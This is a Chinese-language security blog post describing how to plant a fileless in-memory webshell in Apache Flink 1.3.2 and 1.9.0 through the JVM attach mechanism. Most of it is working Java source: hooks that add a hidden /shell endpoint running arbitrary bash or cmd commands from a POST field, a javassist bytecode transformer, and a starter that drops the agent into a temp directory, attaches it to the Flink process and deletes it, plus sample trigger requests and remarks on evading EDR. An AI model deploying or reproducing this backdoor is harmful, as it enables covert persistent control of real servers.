<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    針對 Flink 寫內存馬的實踐過程

    VSole2021-12-29 07:25:52

    在重要的生產網中,目標服務器無法外聯,而遇到Apache Flink情況下如何寫內存馬,本文對這一有趣實踐過程做了一個記錄。

    1. 思路

    首先目標機器 Flink 版本為 1.3.2、1.9.0,Flink 底層是使用的Netty作為多功能 socket 服務器,我們可以有兩種解決思路:

    ① 注冊控制器;

    ② 通過 JVMTI ATTACH 機制 Hook 關鍵方法來寫內存馬。

    1.1 應用層

    第一個方案就是,類似TomcatSpring情況下的內存馬,從當前或是全局中獲取獲取到被用于路由類功能的變量,注冊自己的路由、處理器。這里拿 1.9.0 代碼來舉例,jobmanager 的 web 服務器啟動與初始化位于org.apache.flink.runtime.rest.RestServerEndpoint#start

    這里將自定義的控制器handler注冊到路由器router,所以我們需要只需要參考Flink的業務代碼,寫好自己的Handler然后注冊到該route變量即可。但很可惜,筆者找了一圈,沒有發現相關的靜態變量,無法獲取到該路由對象。另外 jar 執行的代碼處 (invoke main 方法)也沒有傳入啥有用的變量。要不就是想辦法添加一個自定義的SocketChannel,但這個方法更加不現實。

    1.2 JVM TI Attach

    直接利用JVMTI的 attach 機制,hook 特定類方法,在其前面插入我們的 webshell 方法,通過 DEBUG 相關 HTTP 處理流程,筆者最終實現了 1.3.2、1.9.0 版本下的內存馬。

    本文主要圍繞如何使用該方法實現 flink 內充馬進行講述。

    1.3 系統層

    在系統層面,通過端口復用實現系統層面的木馬,先知上有人提出該種想法利用 Hook 技術打造通用的 Webshell

    https://xz.aliyun.com/t/9774

    不過存在一些問題:

    ① 執行該操作的權限要求很高;

    ② 該 hook 操作容易被 EDR 發現;

    ③ 需要兼容不同平臺,且不同 linux 環境都可能導致不兼容。

    大佬有說到,通過替換 lib 庫不容易被殺,但需要重啟(跑題了)。

    2. JVM TI 概述

    JAVA 虛擬機開放了一個叫 JVM Tool Interface (JVM TI) 的接口,通過該接口,我們可以查看和修改在 JVM 運行中的 Java 程序代碼。

    實現了 JVM TI 接口的程序,稱為 agent,agent 能通過三種方式被執行,

    ① Agent Start-Up (OnLoad phase):在 JAVA 程序的 main 函數執行之前執行 agent,java 命令中需通過 -javaagent 參數來指定 agent,實現方式為 premain 

    ② Agent Start-Up (Live phase) :對于正在運行的 JAVA 程序,通過 JVM 進程間通信,動態加載 agent,實現方式為 attatch 機制 

    ③ Agent Shutdown:在虛擬機的 library 將要被卸載時執行。

    如果使用 jdk/tools.jar 提供的 jvm 操作類,由于 com.sun.tools.attach.VirtualMachine#loadAgent(java.lang.String) 的限制,我們的 agent 需要先落地到系統中,而執行 loadAgent 這一操作的程序我們被稱為 starter。

    關于 agent,最近 @rebeyond 提出了一種不需要落地的方案,但其實我覺得落地 agent 這個問題不大(還請大佬們指教):

    https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw

    3. 大體框架

    首先,我們通過Flink的 JAR 上傳執行功能,上傳我們的starter.jar,starter 被執行后,我們先釋放 agent 到系統臨時目錄下,之后再加載該 agent,并在加載完成之后刪除即可。

    4.尋找 Hook 點

    由于Netty是用于支持多協議的 socket 服務器,對應用層 HTTP 的解析封裝是 Flink 做的,所以為了簡潔高效,我們可以選擇在 Flink 這邊 Hook 對應的方法。

    2.1 Flink 1.3.2

    通過瀏覽堆棧信息,查看相關代碼,我們可以很容易發現該版本中我們需要的關鍵類方法在org.apache.flink.runtime.webmonitor.HttpRequestHandler#channelRead0

    不過,一個 HTTP 請求過來,我們在這里并不能一次性拿到整個 HTTP 報文,在msg instance of HttpRequest情況下我們拿到的是請求行與請求頭(這里簡稱請求頭吧),下一次再來到channelRead0中,且msg instance of HttpContent時,我們拿到的是請求體 Body,這時需要從this中拿到currentRequest請求頭、currentDecoder解碼器,然后解析獲取到 Body 中的 key-value。

    2.2 Flink 1.9.0

    起初筆者看到 1.9.0 版本中存在 1.3.2 一樣的代碼,以為 web 流程沒有變化,可以沿用 1.3.2 的 Hook 方法,但到實際測試時發現只是舊代碼沒有刪除,而流程發生了變化,導致筆者需要 hook 新類方法。

    筆者使用org.apache.flink.runtime.rest.FileUploadHandler#channelRead0該類方法作為 hook 點,這里的代碼基礎邏輯和 1.3.2 的一樣,也是無法直接拿到整個 HTTP 請求報文,需要在msg instance HttpContent情況下使用this.currentHttpPostRequestDecoder處理 BODY 拿到 KEY-VALUE 表單數據,從this.currentHttpRequest拿到 HTTP 頭。

    5. 編寫Agent

    我們首先編寫一個接口類IHook,聲明一個 Hook 點的要素方法,其中我們可以通過 JDK 自帶的工具獲取方法描述符號,如

    javap -cp flink-dist_2.11-1.9.0.jar -p -s org.apache.flink.runtime.rest.FileUploadHandler

    5.1 IHook

    package com.attach.hook;public interface IHook {    /**     * @return 插樁代碼     */    String getMethodSource();    /**     * @return 被Hook的目標類空間名     */    String getTargetClass();    /**     * @return 被Hook的目標方法名     */    String getTargetMethod();    /**     * @return 被Hook的目標方法描述符     */    String getMethodDesc();}
    

    5.2 Flink132

    我們在編寫目標方法的 Hook 點時,需要引用相關的類或字段,在本地 IDEA 測試運行時我們直接引用相關 jar 包即可,而在打包 JAR 時,我們可以選擇不打包進去,避免獲得的 jar 包過大。

    另外,關于實現 webshell 的業務功能,冰蝎工具就不適用了,因為 behind 的業務邏輯與HttpServletSessionHttpServletRequestHttpServletResponse這幾個類緊密耦合,修改它的代碼的工作量也很大。但筆者還是十分希望有一個圖形化界面的工具來輔助我們管理 webshell,這樣能極大提升我們的工資效率。隨后筆者想到要不直接使用比較原始的工具cknife(JAVA 版開源菜刀),稍微改改就能用,但如果要流量免殺,就還得改客戶端源碼,也費精力。

    后面又看到AntSwordCMDLINUX Shell功能,服務器只需要提供命令執行功能并回顯結果,就能做到文件瀏覽、修改功能;而且 AntSword 支持自定義加密,這樣一來選擇這塊工具就很省事了,至于其他重要的功能,如代理,就先放著吧。

    另外,在筆者在內存馬的代碼中添加了內存馬刪除功能,當用戶訪問/UNINSTALL路徑時,會觸發removeTransformer(..),將相關 hook 點去除。

    flink1.3.2 中,筆者給出的代碼在成功 hook 后,觸發命令執行的 HTTP 是這樣的:

    POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: application/x-www-form-urlencodedContent-Length: 10cmd=whoami
    package com.attach.hook;import com.attach.Agent;import io.netty.buffer.Unpooled;import io.netty.channel.ChannelFutureListener;import io.netty.handler.codec.http.*;import io.netty.handler.codec.http.multipart.DiskAttribute;import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import io.netty.handler.codec.http.multipart.InterfaceHttpData;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import static com.attach.util.FileUtil.IS_WIN;import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;import io.netty.handler.codec.http.HttpContent;public class Flink132 implements IHook{    @Override    public String getMethodSource() {        return "com.attach.hook.Flink132.getShell($0,$1,$2);";    }    @Override    public String getTargetClass() {        return "org.apache.flink.runtime.webmonitor.HttpRequestHandler";    }    @Override    public String getTargetMethod() {        return "channelRead0";    }    @Override    public String getMethodDesc() {        return "(Lio/netty/channel/ChannelHandlerContext;Lio/netty/handler/codec/http/HttpObject;)V";    }    public  static void getShell(Object handler,io.netty.channel.ChannelHandlerContext ctx,                                 io.netty.handler.codec.http.HttpObject msg) {        //如果發生java.lang.NoClassDefFoundError異常,是無法捕獲的,且會影響業務。        try {            String uriSymbol = "/shell";            String cmdKey = "cmd";            if (msg instanceof io.netty.handler.codec.http.HttpContent) {                Field currentDecoderField = handler.getClass().getDeclaredField("currentDecoder");                currentDecoderField.setAccessible(true);                io.netty.handler.codec.http.multipart.HttpPostRequestDecoder currentDecoder =                        (io.netty.handler.codec.http.multipart.HttpPostRequestDecoder) currentDecoderField.get(handler);                Field currentRequestField = handler.getClass().getDeclaredField("currentRequest");                currentRequestField.setAccessible(true);                DefaultHttpRequest request = (DefaultHttpRequest) currentRequestField.get(handler);                HttpContent chunk = (HttpContent) msg;                //currentDecoder not null meaning method is POST and body has data.                if (currentDecoder != null && request!=null) {                    if (request.getUri().startsWith("/UNINSTALL")) {                        if (Agent.transformer != null) {                            Agent.transformer.release();                        }                    }                    if (request.getUri().startsWith(uriSymbol)) {                        currentDecoder.offer(chunk);                        Map<String, String> form = new HashMap<String, String>();                        try{                            while (currentDecoder.hasNext()) {                                InterfaceHttpData data = currentDecoder.next();                                if (data instanceof DiskAttribute) {                                    String key = data.getName();                                    String value = ((DiskAttribute) data).getValue();                                    form.put(key, value);                                }                                data.release();                            }                        } catch (HttpPostRequestDecoder.EndOfDataDecoderException ignored) {}                        String cmd = "null cmd";                        if (form.containsKey(cmdKey)) {                            cmd = form.get(cmdKey);                        }                        if (!form.containsKey(cmdKey)) {                            return;                        }                        String[] cmds = null;                        if (!IS_WIN) {                            cmds = new String[]{"/bin/bash", "-c", cmd};                        } else {                            cmds = new String[]{"cmd","/c",cmd};                        }                        java.io.InputStream in =                                Runtime.getRuntime().exec(cmds).getInputStream();                        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();                        int a = -1;                        byte[] b = new byte[1];                        outputStream.write("<pre>".getBytes());                        while((a=in.read(b))!=-1){                            outputStream.write(b);                        }                        outputStream.write("</pre>".getBytes());                        HttpResponseStatus status = new HttpResponseStatus(200, "OK");                        FullHttpResponse response = new DefaultFullHttpResponse(                                HTTP_1_1, status, Unpooled.copiedBuffer(outputStream.toByteArray()));                        response.headers().set(CONTENT_TYPE, "text/plain; charset=UTF-8");                        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);                    }                    // HTTP GET                }else{                 }           }        }    }}
    

    5.3 Flink190

    flink1.9.0 中,筆者給出的代碼在成功 hook 后,觸發命令執行的 HTTP 是這樣的:

    POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: multipart/form-data; boundary=--------347712004Content-Length: 98----------347712004Content-Disposition: form-data; name="cmd"whoami----------347712004--
    package com.attach.hook;import com.attach.Agent;import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;import org.apache.flink.shaded.netty4.io.netty.buffer.Unpooled;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFutureListener;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Collections;import java.util.HashMap;import java.util.Map;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.InterfaceHttpData;import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelHandlerContext;import static com.attach.util.FileUtil.IS_WIN;import static com.attach.util.FileUtil.writeMsg;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpVersion.HTTP_1_1;public class Flink190 implements IHook{   // public static String targetClass = "org.apache.flink.runtime.webmonitor.HttpRequestHandler";    @Override    public String getMethodSource() {        return "com.attach.hook.Flink190.getShell($0,$1,$2);";    }    @Override    public String getTargetClass() {        return "org.apache.flink.runtime.rest.FileUploadHandler";    }    @Override    public String getTargetMethod() {        return "channelRead0";    }    @Override    public String getMethodDesc() {        return "(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChannelHandlerContext;Lorg/apache/flink/shaded/netty4/io/netty/handler/codec/http/HttpObject;)V";    }    public  static void getShell(Object handler,                                 ChannelHandlerContext ctx,                                HttpObject msg    ) {        //如果發生java.lang.NoClassDefFoundError異常,是無法捕獲的,且會影響業務。        try {            String uriSymbol = "/shell";            String cmdKey = "cmd";            if (msg instanceof HttpContent) {                Field currentDecoderField = handler.getClass().getDeclaredField("currentHttpPostRequestDecoder");                currentDecoderField.setAccessible(true);                HttpPostRequestDecoder currentHttpPostRequestDecoder =                        (HttpPostRequestDecoder) currentDecoderField.get(handler);                Field currentRequestField = handler.getClass().getDeclaredField("currentHttpRequest");                currentRequestField.setAccessible(true);                HttpRequest currentHttpRequest = (HttpRequest) currentRequestField.get(handler);                final HttpContent httpContent = (HttpContent) msg;                currentHttpPostRequestDecoder.offer(httpContent);                if (currentHttpRequest.uri().startsWith("/UNINSTALL")) {                    if (Agent.transformer != null) {                        Agent.transformer.release();                    }                }                if (currentHttpRequest.uri().startsWith(uriSymbol)) {                    Map<String, String> form = new HashMap<String, String>();                    while (httpContent != LastHttpContent.EMPTY_LAST_CONTENT && currentHttpPostRequestDecoder.hasNext()) {                        InterfaceHttpData data = currentHttpPostRequestDecoder.next();                        if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute){                            Attribute request = (Attribute) data;                            form.put(request.getName(), request.getValue());                        }                    }                    String cmd = "null cmd";                    if (form.containsKey(cmdKey)) {                        cmd = form.get(cmdKey);                    }                    for (String key : form.keySet()) {                        writeMsg(key);                    }                    if (!form.containsKey(cmdKey)) {                        return;                    }                    String[] cmds = null;                    if (!IS_WIN) {                        cmds = new String[]{"/bin/bash", "-c", cmd};                    } else {                        cmds = new String[]{"cmd","/c",cmd};                    }                    java.io.InputStream in =                            Runtime.getRuntime().exec(cmds).getInputStream();                    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();                    int a = -1;                    byte[] tmp = new byte[1];                    outputStream.write("<pre>".getBytes());                    while((a=in.read(tmp))!=-1){                        outputStream.write(tmp);                    }                    outputStream.write("</pre>".getBytes());                    HttpRequest tmpRequest = currentHttpRequest;                    getMethodInvoke(handler, "deleteUploadedFiles", null, null);                    getMethodInvoke(handler, "reset", null, null);                    HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK);                    response.headers().set(CONTENT_TYPE, "text/html");                    response.headers().set(CONNECTION, HttpHeaders.Values.CLOSE);                    byte[] buf = outputStream.toByteArray();                    ByteBuf b = Unpooled.copiedBuffer(buf);                    HttpHeaders.setContentLength(response, buf.length);                    ctx.write(response);                    ctx.write(b);                    ChannelFuture lastContentFuture = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT);                    lastContentFuture.addListener(ChannelFutureListener.CLOSE);                    ReferenceCountUtil.release(tmpRequest);                }           }        } catch (Exception e) {        }    }    private static Object getMethodInvoke(Object object, String methodName, Class[] parameterTypes,                                          Object[] args) throws Exception {        try {            Method method = getMethod(object, methodName, parameterTypes);            return method.invoke(object, args);        } catch (Exception e) {            throw new Exception(String.format("getMethodInvoke error:%s#%s",object.toString(),methodName));        }    }    private static Method getMethod(Object object, String methodName, Class<?>... parameterTypes) throws Exception {        try {            Method method = object.getClass().getDeclaredMethod(methodName,                    parameterTypes);            method.setAccessible(true);            return method;        } catch (Exception e) {            throw new Exception(String.format("getMethod error:%s#%s",object.toString(),methodName));        }    }}
    

    5.4 Agent

    由于我們使用 attach 機制去 hook 方法并插樁,我們的 agent 客戶端被loadAgent調用時,入口方法為agentmain,所以我們這里只編寫該方法即可。另外,將整個項目打包成 JAR 后,我們需要在META-INF/MANIFEST中添加對應的屬性。

    Agent-Class: com.attach.AgentCan-Retransform-Classes: true
    package com.attach;import java.lang.instrument.Instrumentation;public class Agent {    public static Transformer transformer = null;    //注意,理論上運行環境已經有相關JAR包,為了減小打包后的JAR大小,在打包是不需要將javassist外的其他依賴打包進去    public static void agentmain(String vmName, Instrumentation inst) {        transformer = new Transformer(vmName, inst);        transformer.retransform();    }}
    

    5.5 Transformer

    我們編寫一個自己的Transformer類,實現ClassFileTransformer相關接口方法,由于目標類應該已經被加載了,所以我們需要通過retransform來重新轉換已經加載的類。

    packae com.attach;import com.attach.hook.IHook;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.ArrayList;import java.util.List;public class Transformer implements ClassFileTransformer{    private Instrumentation inst;    private List<IHook> hooks = new ArrayList<IHook>();    Transformer(String vmName,Instrumentation inst) {        //為了適配不同版本,這里不直接import        try {            if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager")) {                this.hooks.add((IHook) Class.forName("com.attach.hook.Flink132").newInstance());            }        } catch (Exception e) {        }        try {            if (vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint")) {                this.hooks.add((IHook) Class.forName("com.attach.hook.Flink190").newInstance());            }        } catch (Exception e) {        }        this.inst = inst;        inst.addTransformer(this, true);    }    public void release() {        inst.removeTransformer(this);        retransform();    }    public void retransform() {        Class[] loadedClasses = inst.getAllLoadedClasses();        for (Class clazz : loadedClasses) {            for (IHook hook : this.hooks) { ;                if (clazz.getName().equals(hook.getTargetClass())) {                    if (inst.isModifiableClass(clazz) ) {                        try {                            inst.retransformClasses(clazz);                        } catch (Throwable t) {                        }                    }                }            }        }    }    @Override    public byte[] transform(ClassLoader classLoader, String s,                            Class<?> aClass, ProtectionDomain protectionDomain,                            byte[] classfileBuffer    )  {        for (IHook hook : this.hooks) {            String targetClass = hook.getTargetClass();            if (targetClass.replaceAll("\\.", "/").equals(s)) {                try {                    ClassPool classPool = ClassPool.getDefault();                    CtClass ctClass = classPool.get(targetClass);                    CtMethod m = ctClass.getMethod(hook.getTargetMethod(),hook.getMethodDesc());                    m.insertBefore(hook.getMethodSource());                    byte[] byteCode = ctClass.toBytecode();                    ctClass.detach();                    return byteCode;                } catch (Exception ex) {                }           }        }        return null;    }}
    

    6. 編寫 Starter

    starter 這里需要使用到 JDK 的 tools.jar 包,用于和 JAVA 虛擬機進行通信,但不同 JDK 版本與不同系統架構都會導致 jvm 或是說 tools.jar 的差異,為了避免該問題,這里我們可以使用URLClassLoader優先從本地 lib 庫中找 tools.jar 包,如果找不到再去使用我們打包的 starter.jar 中的相關虛擬機操作類。如果是 Linux 的情況,我們可以直接在 JDK/lib 下找到 tools.jar 包,而 windows 比這復雜多,不過目前不涉及到 windows 場景,也不必處理。

    由于 1.3.2 與 1.9.0 的 VM Name 發生了變化,前者為org.apache.flink.runtime.jobmanager.JobManager,后者為org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint,這里直接對兩種進行了判斷

    public class Starter {    String agentJar = "HookSomething.txt";    /**     * here use URLClassloader to load VirtualMachine class which from `tools.jar`     * the load sequence is 1. try to load from local system's jdk/lib/tools.jar     *                      2. if can't load from local,try to load from the jar which we package     * Because we need to use the JVMTI and communicate with JVM ,it's related to JVM,     * so it's related to system architecture and java version.     * In this case,load tools.jar from local is the best choice , it can avoid the problem case by     * java version / system architecture .     * @param args     */    public static void main(String[] args)  {        try {            Starter app = new Starter();            //將resource下的agent.jar釋放到臨時目錄            String jarPath = app.writeAgentJar();            File javaHome = new File(System.getProperty("java.home"));            // here only handle Open JDK situation,others didn't . . Win Oracle JDK            String toolsPath = javaHome.getName().equalsIgnoreCase("jre") ? "../lib/tools.jar" : "lib/tools.jar";            URL[] urls = new URL[]{                    //優先查找加載JDK LIB tools.jar                    new File(javaHome, toolsPath).getCanonicalFile().toURI().toURL(),                    //找不到的話加載打包的JAR,或者如果 .so 已經被加載 java.lang.UnstisfiedLinkError                    Starter.class.getProtectionDomain().getCodeSource().getLocation(),            };            URLClassLoader loader = new URLClassLoader(urls, null);            Class<?> VirtualMachineClass = loader.loadClass("com.sun.tools.attach.VirtualMachine");            Class<?> VirtualMachineDescriptorClass = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");            Method listM = VirtualMachineClass.getDeclaredMethod("list", null);            List vmList= (List) listM.invoke(null);            Object vm = null;            List<String> vmNames = new ArrayList<String>() {                {                    add("org.apache.flink.runtime.jobmanager.JobManager");                    add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint");                }};            for (Object vmd : vmList) {                for (String vmName : vmNames) {                    Method displayNameM = VirtualMachineDescriptorClass.getDeclaredMethod("displayName", null);                    String name = (String) displayNameM.invoke(vmd);                    if (name.startsWith(vmName)) {                        Method attachM = VirtualMachineClass.getDeclaredMethod("attach", VirtualMachineDescriptorClass);                        vm = attachM.invoke(null, vmd);                        Method loadAgentM = VirtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class);                        loadAgentM.invoke(vm, jarPath, vmName);                        Method detachM = VirtualMachineClass.getDeclaredMethod("detach", null);                        detachM.invoke(vm, null);                        System.out.println("success");                    }                }            }            loader.close();            new File(jarPath).delete();        } catch (Exception e) {            e.printStackTrace();        }    }
    

    7. libattach.so 被占用

    起初筆者以為 flink 的 JAR 執行是通過java -jar進行的,后面發現其實就是 invoke 了 main 方法。這個情況下,導致了這么一個問題:starter 成功執行 attach 之后,我們通過/UNINSTALL功能卸載內存馬,再一次去執行 starter 時卻發現 starter 執行失敗。原因為,VirtualMachine在實例化時有個靜態代碼塊加載了libattach.so,而第二次執行 starter 會導致在加載該 so 文件時報java.lang.UnsatisfiedLinkError: Can't load library異常。

    為了避免該問題,我們可以一開始先將 starter 釋放到臨時目錄下,通過調用系統命令jar -jar來運行 starter。

    8. 結語

    在路由注冊方式行不通的情況下,使用 attach 進行內存馬的寫入,不失為一個不錯的方法,理論上在任何 JAVA 代碼執行漏洞中,我們都可以使用該方式去寫內存馬,但關于內存馬的業務功能這塊,我們可能需要費一番功夫。

    stringflink
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在重要的生產網中,目標服務器無法外聯,而遇到Apache Flink情況下如何寫內存馬,本文對這一有趣實踐過程做了一個記錄。但很可惜,筆者找了一圈,沒有發現相關的靜態變量,無法獲取到該路由對象。本文主要圍繞如何使用該方法實現 flink 內充馬進行講述。的限制,我們的 agent 需要先落地到系統中,而執行 loadAgent 這一操作的程序我們被稱為 starter。
    簡介實現環境:WIN7 X86。ObjectPreCallback和ObjectPostCallback的定義如下,它們的參數是一樣的,只是返回值不同。最后在介紹一個函數,它可以根據線程對象獲得進程對象。
    About dismapDismap 定位是一個適用于內外網的資產發現和識別工具;其特色功能在于快速識別 Web 指紋信息,定位資產類型。輔助紅隊快速定位目標資產信息,輔助藍隊發現疑似脆弱點。Dismap 擁有完善的指紋規則庫,可輕松自定義新識別規則。
    shellcode編寫探究
    2022-06-09 15:34:57
    前言shellcode是不依賴環境,放到任何地方都可以執行的機器碼。shellcode的應用場景很多,本文不研究shellcode的具體應用,而只是研究編寫一個shellcode需要掌握哪些知識。要使用字符串,需要使用字符數組。所以我們需要用到 LoadLibrary 和 GetProcAddress 這兩個函數,來動態獲取系統API的函數指針。
    學習殼的過程中,為了獲取了Kernel32的基址的代碼,在加密殼的時候直接使用。使用Onlydbg逆向截取到相應代碼,當時的我無法理解這些代碼。
    這篇文章,我嘗試讓所有技術相關的朋友都能看懂:這個注定會載入網絡安全史冊上的漏洞,到底是怎么一回事!
    簡介實驗環境是Win7 X86系統。曾經在這篇文章中常見的幾種DLL注入技術說過,通過修改注冊表的內容可以實現AppInit_DLLs注入。那么本文的實驗是通過CmRegisterCallback來實現對注冊表修改的監控以此來阻止修改。并通過對CmRegisterCallback的逆向分析來實現對監控函數的刪除。
    幾乎所有Win32程序都會加載ntdll.dll和kernel32.dll這兩個基礎的動態鏈接庫。64位系統首先通過選擇字GS在內存中找到當前存放著指向當前線程環境塊TEB。進程環境塊中偏移位置為0x18的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。模塊初始化鏈表 InInitializationOrderModuleList中按順序存放著 PE 裝入運行時初始化模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
    shellcode loader的編寫
    2023-04-17 11:15:39
    改變加載方式指針執行#include?參數1:分配的內存的起始地址,如果為NULL則由系統決定。參數2:分配的內存大小,以字節為單位。參數3:分配的內存類型,MEM_COMMIT表示將分配的內存立即提交給物理內存,MEM_RESERVE表示保留內存但不提交。參數4:分配的內存保護屬性,PAGE_READWRITE可讀可寫,PAGE_EXECUTE_READ可執行可讀。結構體的指針,用于指定新線程的安全屬性,NULL表示默認安全屬性
    由 LSASS 進程加載的 wdigest.dll 模塊有兩個有趣的全局變量
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类